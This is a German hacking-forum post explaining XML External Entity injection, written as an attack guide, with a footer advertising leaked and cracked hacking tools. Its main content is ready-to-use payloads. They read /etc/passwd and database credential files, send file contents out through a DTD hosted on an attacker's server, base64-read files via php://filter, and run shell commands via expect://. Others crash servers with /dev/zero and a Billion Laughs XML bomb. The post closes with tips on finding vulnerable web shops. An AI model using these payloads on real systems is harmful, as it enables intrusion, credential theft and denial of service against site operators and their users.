Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

XML Entity Injection

- - - - -

  • Bitte melde dich an um zu Antworten
Keine Antworten in diesem Thema

#1
Zero-X

Zero-X

    FTB Experte

  • Premium Member
  • Likes
    127
  • 98 Beiträge
  • 45 Bedankt
  • Android
  • Windows, Linux
XML Entity Injection

Diese Sicherheitslücke entsteht, wenn sich innerhalb der XML-Nachricht die an ein Skript gesendet wird, sich neue Entitäten definieren lassen.

Ein Beispiel:
<?xml version="1.0"?>
<gruss>
Hallo, Welt!
</gruss>

Hier wird einfach nur "Hallo Welt" angezeigt.

Anders sieht es hier aus:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Hier wird die Datei /etc/passwd auf der Webseite angezeigt. Natürlich geht das auch mit anderen Dateien, die zum Beispiel Datenbank-Passwörter enthalten können.

In einigen Fällen bekommen wir nichts angezeigt dann können wir folgendes probieren:

Auf einen Server laden wir folgende Datei hoch:

lol.dtd:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM '%file;'>">
%all;

An das verwundbare Skript senden wir:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://deinserver/lol.dtd">
%dtd;]>
<roottag>&send;</roottag>


Wenn es sich bei dem verwundbaren Skript um ein PHP-Skript handelt, kann es passieren, daß wir die Fehlermeldung "remote host file access not supported" erhalten. In diesem Fall müssen wir anstelle von "file://" "php://" nehmen.

Hier ein Beispiel:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" >]><foo>&xxe;</foo>

Wir erhalten jetzt den Inhalt der Datei als Base64-String und können ihn entschlüsseln.


OS Command Injection:

Wenn bei PHP der Parser "expect://" verfügbar ist, kann man Shell-Befehle einschleusen. Ich muss aber gleich dazu sagen, daß "expect://" nicht standardgemäß vorhanden ist und man es nur sehr selten findet.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://uname -a" >]><foo>&xxe;</foo>


DoS-Attacken:

Riesige Datei laden:

Die Datei /dev/zero unter Linux liefert beim Aufruf unendlich viele Nullen und wenn wir diese nun aufrufen und Leserechte haben kommt die Webseite zum erliegen.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/zero" >]><foo>&xxe;</foo>


Ein weiteres Beispiel ist die XML-Bombe (Billion Laughs):

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Das Dokument enthält das Wurzelelement lolz, dieses enthält das Element lol9, lol9 enthält 10 lol8 Strings, lol8 enthält 10 lol7 Strings usw. Am Ende braucht das XML-Dokument im Speicher ca. 3 Gigabyte.

Schlusswort:
Solche Sicherheitslücken lassen sich nur sehr schlecht mit der Hilfe von Google-Dorks finden. Am besten bei Webshops oder ähnlichem mal im Firefox den Live HTTP Headers im Auge behalten und schauen, ob XML-Daten im POST-Feld gesendet werden.



  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen:

Mitglieder: , Gäste: , unsichtbare Mitglieder:


This topic has been visited by 35 user(s)


    , 0*ptr, 007, 133TFoX, Aurus, BlackZetsu, cayra, chimchoca7, Cranky, Cube, desmond, DieHinata, Dr. Spic, FalkE, Framerater, Giganet, Husti_nett, johny758, most_uniQue, pdr0, pi^2, R3s1stanc3, RudolfAntal, Sayco, Schakal, SepaX, Shadowgun, SPYKEshadow, Stanley, White-Warti, Xantar, Xenio, XoiL, Zero-X, zyrus
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.